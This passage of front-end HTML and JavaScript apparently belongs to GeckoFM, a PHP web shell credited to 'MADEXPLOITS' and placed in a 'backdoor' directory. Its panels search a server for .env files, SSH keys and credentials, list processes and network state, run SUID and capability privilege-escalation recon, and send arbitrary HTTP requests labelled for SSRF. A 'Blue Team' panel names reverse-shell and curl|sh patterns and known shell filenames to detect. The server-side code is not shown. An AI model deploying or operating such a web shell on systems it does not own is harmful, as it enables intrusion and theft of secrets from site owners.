          <div class="tool-output tall empty" id="secOutRecon">System info, user/privilege, PHP security restrictions, kernel &amp; env.</div>
        </div>

        <div class="sec-panel" data-panel="sensitive">
          <div class="tool-grid">
            <div class="fg span2"><label>Scan path (optional)</label><input type="text" id="secSensPath" placeholder="Leave empty = base + common dirs"></div>
          </div>
          <div class="sec-actions">
            <button class="btn btn-primary btn-sm" id="secRunSensitive">Scan Sensitive Files</button>
          </div>
          <p class="tool-note">Hunts .env, wp-config, SSH keys, .git/config, SQL dumps, credentials…</p>
          <div class="tool-output tall empty" id="secOutSensitive">Click Scan to search.</div>
        </div>

        <div class="sec-panel" data-panel="processes">
          <div class="sec-actions"><button class="btn btn-primary btn-sm" id="secRunProcesses">List Processes</button></div>
          <div class="tool-output tall empty" id="secOutProcesses">ps aux / tasklist output.</div>
        </div>

        <div class="sec-panel" data-panel="network">
          <div class="sec-actions"><button class="btn btn-primary btn-sm" id="secRunNetwork">Show Network</button></div>
          <div class="tool-output tall empty" id="secOutNetwork">Listening ports, connections, interfaces.</div>
        </div>

        <div class="sec-panel" data-panel="http">
          <div class="tool-grid">
            <div class="fg span2"><label>URL</label><input type="text" id="secHttpUrl" placeholder="https://example.com/api"></div>
            <div class="fg"><label>Method</label>
              <select id="secHttpMethod">
                <option>GET</option><option>POST</option><option>PUT</option><option>PATCH</option><option>DELETE</option><option>HEAD</option>
              </select>
            </div>
            <div class="fg span2"><label>Headers (one per line)</label><textarea id="secHttpHeaders" rows="2" placeholder="User-Agent: GeckoSec&#10;Accept: */*"></textarea></div>
            <div class="fg span2"><label>Body</label><textarea id="secHttpBody" rows="3" placeholder="POST body…"></textarea></div>
          </div>
          <div class="sec-actions"><button class="btn btn-primary btn-sm" id="secRunHttp">Send Request</button></div>
          <div class="tool-output tall empty" id="secOutHttp">HTTP client for SSRF/recon testing.</div>
        </div>

        <div class="sec-panel" data-panel="hash">
          <div class="tool-grid">
            <div class="fg"><label>Algorithm</label>
              <select id="secHashAlgo"><option value="md5">MD5</option><option value="sha1">SHA1</option><option value="sha256" selected>SHA256</option><option value="sha512">SHA512</option><option value="crc32">CRC32</option></select>
            </div>
            <div class="fg span2"><label>Input</label><textarea id="secHashText" rows="4" placeholder="Text to hash…"></textarea></div>
          </div>
          <div class="sec-actions"><button class="btn btn-primary btn-sm" id="secRunHash">Generate Hash</button></div>
          <div class="tool-output tall empty" id="secOutHash">Hash output.</div>
        </div>

        <div class="sec-panel" data-panel="codec">
          <div class="tool-grid">
            <div class="fg"><label>Mode</label>
              <select id="secCodecMode">
                <option value="b64enc">Base64 Encode</option><option value="b64dec">Base64 Decode</option>
                <option value="urlenc">URL Encode</option><option value="urldec">URL Decode</option>
                <option value="rot13">ROT13</option><option value="hexenc">Hex Encode</option><option value="hexdec">Hex Decode</option>
              </select>
            </div>
            <div class="fg span2"><label>Input</label><textarea id="secCodecText" rows="4"></textarea></div>
          </div>
          <div class="sec-actions"><button class="btn btn-primary btn-sm" id="secRunCodec">Transform</button></div>
          <div class="tool-output tall empty" id="secOutCodec">Encoded/decoded output.</div>
        </div>

        <div class="sec-panel" data-panel="dns">
          <div class="tool-grid">
            <div class="fg"><label>Host</label><input type="text" id="secDnsHost" placeholder="example.com"></div>
            <div class="fg"><label>Record type</label>
              <select id="secDnsType"><option value="ALL">ALL</option><option value="A">A</option><option value="AAAA">AAAA</option><option value="MX">MX</option><option value="TXT">TXT</option><option value="NS">NS</option><option value="CNAME">CNAME</option></select>
            </div>
          </div>
          <div class="sec-actions"><button class="btn btn-primary btn-sm" id="secRunDns">Lookup DNS</button></div>
          <div class="tool-output tall empty" id="secOutDns">DNS records.</div>
        </div>

        <div class="sec-panel" data-panel="suid">
          <div class="sec-actions"><button class="btn btn-primary btn-sm" id="secRunSuid">Find SUID/SGID/CAP</button></div>
          <p class="tool-note">Privilege escalation recon — setuid binaries, setgid, Linux capabilities.</p>
          <div class="tool-output tall empty" id="secOutSuid">Linux only.</div>
        </div>

      </div>
    </div>
    <div class="modal-foot">
      <span class="left" id="secMeta">Cyber Security toolkit</span>
      <button class="btn mc">Close</button>
    </div>
  </div>
</div>

<div class="overlay" id="mBlueHub">
  <div class="modal m-full">
    <div class="modal-head">
      <h2>🔵 Blue Team Hub</h2>
      <button class="btn btn-ghost btn-icon mc">✕</button>
    </div>
    <div class="modal-body" style="padding:0;display:flex;flex-direction:column">
      <div class="sec-tabs ip-tabs" role="tablist">
        <button class="ip-tab active" data-blue="backdoor" type="button">Backdoor Scan</button>
        <button class="ip-tab" data-blue="fullaudit" type="button">Full Audit</button>
        <button class="ip-tab" data-blue="recent" type="button">Recent Changes</button>
        <button class="ip-tab" data-blue="writable" type="button">Writable</button>
        <button class="ip-tab" data-blue="hidden" type="button">Hidden Files</button>
        <button class="ip-tab" data-blue="cron" type="button">Cron Audit</button>
        <button class="ip-tab" data-blue="logs" type="button">Log Audit</button>
        <button class="ip-tab" data-blue="ioc" type="button">IOC Hunt</button>
        <button class="ip-tab" data-blue="process" type="button">Processes</button>
      </div>
      <div style="padding:16px;overflow:auto;flex:1">

        <div class="sec-panel active" data-bpanel="backdoor">
          <div class="tool-grid">
            <div class="fg span2"><label>Scan path (optional)</label><input type="text" id="blueScanPath" placeholder="Document root + /var/www /home /tmp /opt"></div>
            <div class="fg span2"><label style="display:flex;align-items:center;gap:8px;cursor:pointer"><input type="checkbox" id="blueAggressive" checked style="width:auto"> Aggressive mode (8000 files · depth 14 · lower threshold · polyglot scan)</label></div>
          </div>
          <div class="sec-actions">
            <button class="btn btn-primary btn-sm" id="blueRunBackdoor">Scan for Backdoors</button>
            <button class="btn btn-ghost btn-sm" id="blueCopyBackdoor">Copy Report</button>
          </div>
          <p class="tool-note">Scoring: CRITICAL ≥50 · HIGH ≥30 · MEDIUM ≥15 · LOW ≥6 (aggressive). Review before quarantine — false positives possible on legit apps.</p>
          <div class="tool-output tall empty" id="blueOutBackdoor">Ready to scan.</div>
          <div class="blue-threat-actions" id="blueThreatActions">
            <span style="font-size:11px;color:var(--tx3)" id="blueThreatCount">0 threats</span>
            <button class="btn btn-ghost btn-sm" id="blueSelectAll">Select All</button>
            <button class="btn btn-ghost btn-sm" id="blueSelectNone">Deselect All</button>
            <button class="btn btn-danger btn-sm" id="blueDeleteSelected">Quarantine Selected</button>
            <button class="btn btn-danger btn-sm" id="blueDeleteAll">Quarantine All</button>
            <button class="btn btn-ghost btn-sm" id="blueKeepAll">Keep All (Dismiss)</button>
          </div>
          <div class="blue-threat-wrap hidden" id="blueThreatList"></div>

          <div style="margin-top:18px;padding-top:14px;border-top:1px solid var(--bd2)">
            <div class="sec-actions" style="margin-bottom:8px">
              <strong style="font-size:12px;color:var(--tx2)">📦 Quarantine (tmp)</strong>
              <button class="btn btn-ghost btn-sm" id="blueRefreshQuarantine">Refresh</button>
              <button class="btn btn-primary btn-sm" id="blueRestoreSelected">Restore Selected</button>
              <button class="btn btn-primary btn-sm" id="blueRestoreAll">Restore All</button>
            </div>
            <p class="tool-note" id="blueQuarantineDir">Removed files are moved to system tmp — restore anytime.</p>
            <div class="blue-threat-wrap" id="blueQuarantineList"><div class="blue-threat-item" style="color:var(--tx4);font-style:italic">No quarantined files.</div></div>
          </div>
        </div>

        <div class="sec-panel" data-bpanel="fullaudit">
          <div class="tool-grid">
            <div class="fg span2"><label>Scan path (optional)</label><input type="text" id="blueAuditPath" placeholder="Same as backdoor scan scope"></div>
          </div>
          <div class="sec-actions"><button class="btn btn-primary btn-sm" id="blueRunFullAudit">Run Full Audit</button></div>
          <p class="tool-note">Runs: backdoor scan, recent changes, writable files, hidden scripts, cron audit, IOC hunt, suspicious processes, log audit.</p>
          <div class="tool-output tall empty" id="blueOutFullAudit">Comprehensive blue team assessment (may take several minutes).</div>
        </div>

        <div class="sec-panel" data-bpanel="recent">
          <div class="tool-grid">
            <div class="fg"><label>Days</label><input type="number" id="blueRecentDays" value="7" min="1" max="90"></div>
            <div class="fg"><label>Path (optional)</label><input type="text" id="blueRecentPath" placeholder="Web root"></div>
          </div>
          <div class="sec-actions"><button class="btn btn-primary btn-sm" id="blueRunRecent">Find Recent Changes</button></div>
          <div class="tool-output tall empty" id="blueOutRecent">Recently modified PHP/JS/.htaccess files.</div>
        </div>

        <div class="sec-panel" data-bpanel="writable">
          <div class="sec-actions"><button class="btn btn-primary btn-sm" id="blueRunWritable">Scan Writable Files</button></div>
          <div class="tool-output tall empty" id="blueOutWritable">World-writable files &amp; directories (777 / o+w).</div>
        </div>

        <div class="sec-panel" data-bpanel="hidden">
          <div class="sec-actions"><button class="btn btn-primary btn-sm" id="blueRunHidden">Scan Hidden Scripts</button></div>
          <div class="tool-output tall empty" id="blueOutHidden">Dot-files: .htaccess, .user.ini, hidden PHP shells.</div>
        </div>

        <div class="sec-panel" data-bpanel="cron">
          <div class="sec-actions"><button class="btn btn-primary btn-sm" id="blueRunCron">Audit Cron Jobs</button></div>
          <div class="tool-output tall empty" id="blueOutCron">Detects persistence: curl|sh, /dev/tcp, reverse shells, base64 decode…</div>
        </div>

        <div class="sec-panel" data-bpanel="logs">
          <div class="sec-actions"><button class="btn btn-primary btn-sm" id="blueRunLogs">Audit Logs</button></div>
          <div class="tool-output tall empty" id="blueOutLogs">Failed auth, sudo usage, suspicious web server errors.</div>
        </div>

        <div class="sec-panel" data-bpanel="ioc">
          <div class="sec-actions"><button class="btn btn-primary btn-sm" id="blueRunIoc">Hunt IOC Filenames</button></div>
          <div class="tool-output tall empty" id="blueOutIoc">Known malicious filenames: c99, r57, wso, b374k, alfa…</div>
        </div>

        <div class="sec-panel" data-bpanel="process">
          <div class="sec-actions"><button class="btn btn-primary btn-sm" id="blueRunProcess">Scan Processes</button></div>
          <div class="tool-output tall empty" id="blueOutProcess">nc, /dev/tcp, reverse shells, miners, scanners.</div>
        </div>

      </div>
    </div>
    <div class="modal-foot">
      <span class="left" id="blueMeta">Blue Team defensive toolkit</span>
      <button class="btn mc">Close</button>
    </div>
  </div>
</div>

<div class="overlay" id="mBlueDelete">
  <div class="modal m-sm">
    <div class="modal-head"><h2>📦 Move to Quarantine</h2><button class="btn btn-ghost btn-icon mc">✕</button></div>
    <div class="modal-body">
      <p id="blueDeleteMsg" style="color:var(--tx2);font-size:14px;line-height:1.6"></p>
      <p class="tool-note" style="margin-top:10px">Files dipindah ke folder tmp (bukan dihapus permanen). Bisa di-restore kapan saja dari section Quarantine di bawah.</p>
    </div>
    <div class="modal-foot">
      <button class="btn mc">Cancel</button>
      <button class="btn btn-danger" id="blueDeleteConfirm">Move to Quarantine</button>
    </div>
  </div>
</div>

<div class="ctx" id="ctx"></div>

<div class="bulk-bar" id="bulkBar" role="toolbar" aria-label="Bulk actions">
  <span class="bulk-count" id="bulkCount">0</span>
  <span class="bulk-label">selected</span>
  <span class="bulk-sep"></span>
  <button class="bulk-btn" id="bulkDl" title="Download selected">
    <svg viewBox="0 0 16 16"><path d="M2.75 14A1.75 1.75 0 0 1 1 12.25v-2.5a.75.75 0 0 1 1.5 0v2.5c0 .138.112.25.25.25h10.5a.25.25 0 0 0 .25-.25v-2.5a.75.75 0 0 1 1.5 0v2.5A1.75 1.75 0 0 1 14.25 14H2.75Z" fill="currentColor"/><path d="M7.25 7.567V1.75a.75.75 0 0 1 1.5 0v5.817l1.78-1.347a.75.75 0 1 1 1.042 1.078l-3.5 3.5a.75.75 0 0 1-1.06 0l-3.5-3.5a.75.75 0 0 1 1.06-1.06l2.678 2.33Z" fill="currentColor"/></svg>
    <span>Download</span>
  </button>
  <button class="bulk-btn del" id="bulkDel" title="Delete selected">
    <svg viewBox="0 0 16 16"><path d="M6.5 1.75a.25.25 0 0 1 .25-.25h2.5a.25.25 0 0 1 .25.25V3h-3V1.75Zm4.5 0V3h2.25a.75.75 0 0 1 0 1.5H2.75a.75.75 0 0 1 0-1.5H5V1.75C5 .784 5.784 0 6.75 0h2.5C10.216 0 11 .784 11 1.75ZM4.496 6.675l.66 6.6a.25.25 0 0 0 .249.225h5.19a.25.25 0 0 0 .249-.225l.66-6.6a.75.75 0 0 1 1.492.149l-.66 6.6A1.748 1.748 0 0 1 10.595 15h-5.19a1.75 1.75 0 0 1-1.741-1.575l-.66-6.6a.75.75 0 1 1 1.492-.15Z" fill="currentColor"/></svg>
    <span>Delete</span>
  </button>
  <span class="bulk-sep"></span>
  <button class="bulk-btn close" id="bulkClose" title="Clear selection (Esc)">
    <svg viewBox="0 0 16 16"><path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.75.75 0 1 1 1.06 1.06L9.06 8l3.22 3.22a.75.75 0 1 1-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 1 1-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z" fill="currentColor"/></svg>
  </button>
</div>

<div class="toasts" id="toasts"></div>

<script>
'use strict';
const BASE = '<?= addslashes($baseDir) ?>';
const API  = '?api=1';
const S = { path:'', entries:[], selected:new Set(), view:'list',
  createMode:'file', renameTarget:null, deleteTarget:null, chmodTarget:null, editorPath:null,
  termHistory:[], termHistIdx:-1, searchTimer:null,
  sortCol:'name', sortDir:'asc', lastClickIdx:-1, secReconLoaded:false,
  blueFindings:[], blueDeleteQueue:[], blueQuarantine:[] };

function sortEntries(arr){
  const col = S.sortCol, dir = S.sortDir==='desc' ? -1 : 1;
  return arr.slice().sort((a,b)=>{
    if(a.is_dir !== b.is_dir) return a.is_dir ? -1 : 1;
    let v;
    if(col==='size'){
      const sa = a.is_dir ? -1 : (a.size||0);
      const sb = b.is_dir ? -1 : (b.size||0);
      v = sa - sb;
    } else if(col==='modified'){
      v = (a.modified||0) - (b.modified||0);
    } else if(col==='perm'){
      v = String(a.perm||'').localeCompare(String(b.perm||''));
    } else {
      v = a.name.localeCompare(b.name, undefined, {numeric:true, sensitivity:'base'});
    }
    return v * dir;
  });
}

function setSort(col){
  if(S.sortCol === col) S.sortDir = S.sortDir==='asc' ? 'desc' : 'asc';
  else { S.sortCol = col; S.sortDir = 'asc' }
  renderList();
}

const $ = s => document.querySelector(s);
const $$ = s => [...document.querySelectorAll(s)];

// --- HELPER  BY MADEXPLOITS ---

function normalizePath(path) {
    if (!path) return '';
    if (path === '/') return '/';
    // Replace multiple slashes with single slash and remove trailing slash
    return path.replace(/\/+/g, '/').replace(/\/$/, '');
}

// ─── Icons ───────────────────────────────────────────────────────
// ─── Icon Set — Lucide-inspired, type-distinctive ────────────────
// Common file body path (used by document-style icons)
const _F_BODY = '<path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/>';
const _F_FOLD = '<path d="M14 2v6h6z" fill-opacity=".35"/>';

const IC = {
  // Folder — solid with tab
  folder: `<svg class="fico" viewBox="0 0 24 24" fill="currentColor"><path d="M3 5a2 2 0 0 1 2-2h4.17a2 2 0 0 1 1.41.59L12 5h7a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/></svg>`,

  // Generic file — body + folded corner
  file:    `<svg class="fico" viewBox="0 0 24 24" fill="currentColor">${_F_BODY}${_F_FOLD}</svg>`,

  // PHP — file + chevron + question stem emblem
  php:     `<svg class="fico" viewBox="0 0 24 24" fill="currentColor">
    <path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z" opacity=".25"/>
    <path d="M14 2v6h6z" opacity=".55"/>
    <g fill="none" stroke="currentColor" stroke-width="1.7" stroke-linecap="round" stroke-linejoin="round">
      <path d="M9 12.5l-2.5 2.5L9 17.5"/>
      <path d="M13.5 12.5c.83 0 1.5.67 1.5 1.5 0 1-1.5 1.4-1.5 2.3"/>
      <path d="M13.5 18h.01"/>
    </g>
  </svg>`,

  // JS — file + "JS" letterforms (J hook + S curve)
  js:      `<svg class="fico" viewBox="0 0 24 24" fill="currentColor">
    <path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z" opacity=".25"/>
    <path d="M14 2v6h6z" opacity=".55"/>
    <g fill="none" stroke="currentColor" stroke-width="1.7" stroke-linecap="round" stroke-linejoin="round">
      <path d="M10 12.5v3.5a1.5 1.5 0 0 1-3 0"/>
      <path d="M17 13.5a1.5 1.5 0 0 0-3 0c0 1.5 3 1.2 3 2.5a1.5 1.5 0 0 1-3 0"/>
    </g>
  </svg>`,

  // CSS — file + "#" hash
  css:     `<svg class="fico" viewBox="0 0 24 24" fill="currentColor">
    <path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z" opacity=".25"/>
    <path d="M14 2v6h6z" opacity=".55"/>
    <g fill="none" stroke="currentColor" stroke-width="1.6" stroke-linecap="round">
      <path d="M10 12l-1.5 6"/><path d="M14 12l-1.5 6"/>
      <path d="M7 14h10"/><path d="M6.5 16h10"/>
    </g>
  </svg>`,

  // HTML — file + "</>" chevrons
  html:    `<svg class="fico" viewBox="0 0 24 24" fill="currentColor">
    <path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z" opacity=".25"/>
    <path d="M14 2v6h6z" opacity=".55"/>
    <g fill="none" stroke="currentColor" stroke-width="1.7" stroke-linecap="round" stroke-linejoin="round">
      <path d="M9 13l-2.5 2L9 17"/>
      <path d="M15 13l2.5 2L15 17"/>
      <path d="M13 12.5l-2 5"/>
    </g>
  </svg>`,

  // Config — gear/settings (Lucide-style)
  config:  `<svg class="fico" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.7" stroke-linecap="round" stroke-linejoin="round">
    <path d="M12.22 2h-.44a2 2 0 0 0-2 2v.18a2 2 0 0 1-1 1.73l-.43.25a2 2 0 0 1-2 0l-.15-.08a2 2 0 0 0-2.73.73l-.22.38a2 2 0 0 0 .73 2.73l.15.1a2 2 0 0 1 1 1.72v.51a2 2 0 0 1-1 1.74l-.15.09a2 2 0 0 0-.73 2.73l.22.38a2 2 0 0 0 2.73.73l.15-.08a2 2 0 0 1 2 0l.43.25a2 2 0 0 1 1 1.73V20a2 2 0 0 0 2 2h.44a2 2 0 0 0 2-2v-.18a2 2 0 0 1 1-1.73l.43-.25a2 2 0 0 1 2 0l.15.08a2 2 0 0 0 2.73-.73l.22-.39a2 2 0 0 0-.73-2.73l-.15-.08a2 2 0 0 1-1-1.74v-.5a2 2 0 0 1 1-1.74l.15-.09a2 2 0 0 0 .73-2.73l-.22-.38a2 2 0 0 0-2.73-.73l-.15.08a2 2 0 0 1-2 0l-.43-.25a2 2 0 0 1-1-1.73V4a2 2 0 0 0-2-2z"/>
    <circle cx="12" cy="12" r="3"/>
  </svg>`,

  // Text — file + horizontal lines
  text:    `<svg class="fico" viewBox="0 0 24 24" fill="currentColor">
    <path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z" opacity=".4"/>
    <path d="M14 2v6h6z" opacity=".6"/>
    <g fill="none" stroke="currentColor" stroke-width="1.6" stroke-linecap="round">
      <path d="M8 13h8"/><path d="M8 16h8"/><path d="M8 19h5"/>
    </g>
  </svg>`,

  // Image — picture with sun and mountain
  image:   `<svg class="fico" viewBox="0 0 24 24" fill="currentColor">
    <rect x="3" y="3" width="18" height="18" rx="2"/>
    <circle cx="8.5" cy="8.5" r="1.7" fill="rgba(0,0,0,.4)"/>
    <path d="M21 15l-3.86-3.86a2 2 0 0 0-2.83 0L8 17.31l-2.17-2.17a2 2 0 0 0-2.83 0L3 15.31V20a1 1 0 0 0 1 1h16a1 1 0 0 0 1-1z" fill="rgba(0,0,0,.4)"/>
  </svg>`,

  // Archive — package box with tape
  archive: `<svg class="fico" viewBox="0 0 24 24" fill="currentColor">
    <path d="M2 4a1 1 0 0 1 1-1h18a1 1 0 0 1 1 1v3a1 1 0 0 1-1 1H3a1 1 0 0 1-1-1z" opacity=".7"/>
    <path d="M3 8v12a1 1 0 0 0 1 1h16a1 1 0 0 0 1-1V8z"/>
    <path d="M10 13h4v3h-4z" fill="rgba(0,0,0,.4)"/>
  </svg>`,

  // Database — stacked cylinders
  database:`<svg class="fico" viewBox="0 0 24 24" fill="currentColor">
    <ellipse cx="12" cy="5" rx="9" ry="3"/>
    <path d="M3 5v6c0 1.66 4.03 3 9 3s9-1.34 9-3V5" opacity=".7"/>
    <path d="M3 11v6c0 1.66 4.03 3 9 3s9-1.34 9-3v-6" opacity=".5"/>
  </svg>`,
};
const ico = t => `<span class="ico-wrap">${IC[t]||IC.file}</span>`;

// ─── Utils ───────────────────────────────────────────────────────
const esc = s => { const d=document.createElement('div'); d.textContent=s; return d.innerHTML };
const fmtBytes = b => {
  if(b==null)return'—';if(b<1024)return b+' B';
  const u=['KB','MB','GB'];let v=b/1024;
  for(const x of u){if(v<1024)return(v>=100?v.toFixed(0):v.toFixed(1))+' '+x;v/=1024}
  return v.toFixed(1)+' TB';
};
const fmtDate = ts => new Date(ts*1000).toLocaleString('en-US',{month:'short',day:'numeric',year:'numeric',hour:'2-digit',minute:'2-digit'});
const fmtRelTime = ts => {
  if(!ts) return '—';
  const now = Date.now()/1000;
  const diff = now - ts;
  if(diff < 5) return 'just now';
  if(diff < 60) return Math.floor(diff)+'s ago';
  if(diff < 3600) return Math.floor(diff/60)+'m ago';
  if(diff < 86400) return Math.floor(diff/3600)+'h ago';
  if(diff < 172800) return 'Yesterday';
  if(diff < 604800) return Math.floor(diff/86400)+'d ago';
  const d = new Date(ts*1000);
  const m = ['Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec'];
  if(diff < 31536000) return m[d.getMonth()]+' '+d.getDate();
  return m[d.getMonth()]+' '+d.getDate()+' \''+String(d.getFullYear()).slice(-2);
};
const getExt = name => {
  if(!name) return '';
  const i = name.lastIndexOf('.');
  return (i>0 && i<name.length-1) ? name.substring(i+1).toUpperCase() : '';
};

function permClass(perm){
  if(!perm) return '';
  const s = String(perm).slice(-3);
  if(s.length !== 3 || !/^\d{3}$/.test(s)) return '';
  const owner = +s[0], world = +s[2];
  let cls;
  if(owner & 2){
    cls = (owner & 1) ? 'perm-ok-x' : 'perm-ok';
  } else {
    cls = 'perm-locked';
  }
  return cls;
}
function permSymbolic(perm){
  if(!perm) return '';
  const s = String(perm).slice(-3);
  if(s.length !== 3 || !/^\d{3}$/.test(s)) return '';
  let r = '';
  for(const d of s){
    const n = +d;
    r += (n&4?'r':'-') + (n&2?'w':'-') + (n&1?'x':'-');
  }
  return r;
}
function permLabel(perm){
  if(!perm) return '';
  const s = String(perm).slice(-3);
  if(s.length !== 3 || !/^\d{3}$/.test(s)) return '';
  const owner = +s[0], world = +s[2];
  const writable = !!(owner & 2);
  const exec = !!(owner & 1);
  const pub = !!(world & 2);
  let lbl = writable ? (exec ? 'Writable + executable' : 'Writable') : 'Read-only · locked';
  if(pub) lbl += ' · world-writable';
  return lbl;
}
const joinPath = (a,b) => {
  if(!a) return b;
  if(!b) return a;
  // Handle Windows drive paths
  if(a.match(/^[A-Za-z]:[\/\\]?$/)) {
    return a + '/' + b;
  }
  return a + '/' + b;
};
const itemPath = n => {
    if (!n) return S.path;
    
    // Handle absolute Linux path
    if (S.path && S.path.startsWith('/')) {
        let base = S.path;
        // Ensure base ends with slash for joining
        if (!base.endsWith('/')) {
            base = base + '/';
        }
        let joined = base + n;
        // Clean up double slashes
        return joined.replace(/\/+/g, '/');
    }
    
    return joinPath(S.path, n);
};

// ─── API ─────────────────────────────────────────────────────────
async function api(action,data={},isForm=false){
  const opts={method:'POST'};
  if(isForm){opts.body=data}else{opts.headers={'Content-Type':'application/json'};opts.body=JSON.stringify({action,...data});}
  let r;
  try {
    r = await fetch(API, opts);
  } catch(netErr) {
    throw new Error('Network error: ' + (netErr.message || 'connection failed'));
  }
  // Validasi response sebelum parse JSON
  const ct = (r.headers.get('content-type') || '').toLowerCase();
  if (!ct.includes('application/json')) {
    // Response bukan JSON (kemungkinan HTML error page dari server)
    let body = '';
    try { body = await r.text(); } catch(e) {}
    // Ambil pesan error dari HTML jika memungkinkan
    let errMsg = 'Server returned non-JSON response (HTTP ' + r.status + ')';
    if (body.includes('<!DOCTYPE') || body.includes('<html')) {
      errMsg = 'Server returned HTML instead of JSON (HTTP ' + r.status + '). Possible causes: server error, WAF block, or timeout.';
    } else if (body.length > 0 && body.length < 300) {
      errMsg = body;
    }
    console.warn('[GeckoFM] Non-JSON response for action=' + action, {status: r.status, contentType: ct, bodyPreview: body.substring(0, 500)});
    throw new Error(errMsg);
  }
  if (!r.ok) {
    // HTTP error tapi masih JSON
    const errData = await r.json();
    throw new Error(errData.error || 'Server error (HTTP ' + r.status + ')');
  }
  return r.json();
}

// ─── Toast ───────────────────────────────────────────────────────
function toast(msg,type='ok'){
  const el=document.createElement('div');
  el.className='toast '+(type==='error'?'err':'ok');
  el.innerHTML=`<div class="t-dot"></div>${esc(msg)}`;
  $('#toasts').appendChild(el);
  setTimeout(()=>{
    el.style.transition='opacity .25s, transform .25s';
    el.style.opacity='0'; el.style.transform='translateX(20px)';
    setTimeout(()=>el.remove(),260);
  },3000);
}

// ─── Modal ───────────────────────────────────────────────────────
const openM  = id => $(id).classList.add('open');
const closeM = id => $(id).classList.remove('open');
const closeAll = () => $$('.overlay.open').forEach(m=>m.classList.remove('open'));
$$('.mc').forEach(b=>b.addEventListener('click',closeAll));
$$('.overlay').forEach(o=>o.addEventListener('click',e=>{if(e.target===o)closeAll()}));

// ─── Breadcrumb ──────────────────────────────────────────────────
// Mengubah path apa pun (kosong, relatif, atau absolute) menjadi
// path absolute lengkap untuk ditampilkan di breadcrumb. Contoh:
//   ''                  -> 'C:/laragon/www/backdoor'
//   'subfolder'         -> 'C:/laragon/www/backdoor/subfolder'
//   'C:/Windows'        -> 'C:/Windows'
//   '/var/www'          -> '/var/www'
function toAbsolutePath(path){
    const baseNormalized = BASE.replace(/\\/g, '/').replace(/\/+$/, '');
    if (!path) return baseNormalized;
    const isWin = /^[A-Za-z]:/.test(path);
    const isLin = path.startsWith('/');
    if (isWin || isLin) return path;
    // Path relatif → gabungkan dengan BASE
    return baseNormalized + '/' + path.replace(/^\/+/, '');
}

function renderBreadcrumb(){
    const bc = $('#breadcrumb');
    bc.innerHTML = '';

    // Selalu render breadcrumb sebagai path absolute lengkap
    let currentPath = toAbsolutePath(S.path || '');

    // ── Windows absolute path (C:/laragon/www/backdoor) ──────────
    if (/^[A-Za-z]:/.test(currentPath)) {
        currentPath = currentPath.replace(/\\/g, '/');
        if (!/^[A-Za-z]:\//.test(currentPath)) {
            currentPath = currentPath.charAt(0) + ':/' + currentPath.substring(2);
        }

        const drive = currentPath.charAt(0) + ':';
        let pathAfterDrive = currentPath.substring(2).replace(/^\/+/, '').replace(/\/+$/, '');
        const segments = pathAfterDrive ? pathAfterDrive.split('/').filter(p => p !== '') : [];

        // Tombol drive (C:)
        const driveBtn = document.createElement('button');
        driveBtn.className = 'bc-btn' + (segments.length === 0 ? ' bc-cur' : '');
        driveBtn.textContent = drive;
        driveBtn.title = drive + '/';
        driveBtn.onclick = () => navigate(drive + '/');
        bc.appendChild(driveBtn);

        let accumulatedPath = drive;
        for (let i = 0; i < segments.length; i++) {
            const segment = segments[i];
            accumulatedPath += '/' + segment;

            const sep = document.createElement('span');
            sep.className = 'bc-sep';
            sep.textContent = '/';
            bc.appendChild(sep);

            const btn = document.createElement('button');
            btn.className = 'bc-btn' + (i === segments.length - 1 ? ' bc-cur' : '');
            btn.textContent = segment;
            btn.title = accumulatedPath + '/';
            const targetPath = accumulatedPath + '/';
            btn.onclick = ((p) => () => navigate(p))(targetPath);
            bc.appendChild(btn);
        }
    }
    // ── Linux absolute path (/var/www/html) ──────────────────────
    else if (currentPath.startsWith('/')) {
        let cleanPath = currentPath;
        if (cleanPath !== '/' && cleanPath.endsWith('/')) cleanPath = cleanPath.slice(0, -1);
        const segments = cleanPath.split('/').filter(s => s !== '');

        // Tombol root '/'
        const rootBtn = document.createElement('button');
        rootBtn.className = 'bc-btn' + (segments.length === 0 ? ' bc-cur' : '');
        rootBtn.textContent = '/';
        rootBtn.title = '/';
        rootBtn.onclick = () => navigate('/');
        bc.appendChild(rootBtn);

        let accumulatedPath = '';
        for (let i = 0; i < segments.length; i++) {
            const segment = segments[i];
            accumulatedPath += '/' + segment;

            const sep = document.createElement('span');
            sep.className = 'bc-sep';
            sep.textContent = '/';
            bc.appendChild(sep);

            const btn = document.createElement('button');
            btn.className = 'bc-btn' + (i === segments.length - 1 ? ' bc-cur' : '');
            btn.textContent = segment;
            btn.title = accumulatedPath + '/';
            const targetPath = accumulatedPath + '/';
            btn.onclick = ((p) => () => navigate(p))(targetPath);
            bc.appendChild(btn);
        }
    }

    // ── Up button visibility ─────────────────────────────────────
    let showUp = false;
    if (/^[A-Za-z]:/.test(currentPath)) {
        const afterDrive = currentPath.substring(2).replace(/^\/+/, '').replace(/\/+$/, '');
        showUp = afterDrive !== '';
    } else if (currentPath.startsWith('/')) {
        showUp = currentPath.replace(/\/+$/, '') !== '';
    }
    $('#btnUp').style.visibility = showUp ? 'visible' : 'hidden';
}

// Helper function to escape HTML
function escapeHtml(text) {
    if (!text) return '';
    const div = document.createElement('div');
    div.textContent = text;
    return div.innerHTML;
}

// ─── Render ──────────────────────────────────────────────────────
const SORT_ARROW = '<svg class="th-arrow" viewBox="0 0 12 12"><path d="M6 9 2 4h8z"/></svg>';
function thSort(col, label){
  const active = S.sortCol === col;
  return `<span class="th-sort${active?' active':''}${active && S.sortDir==='desc'?' desc':''}" data-sort="${col}">${label}${SORT_ARROW}</span>`;
}

function renderList(){
  const panel=$('#panel');
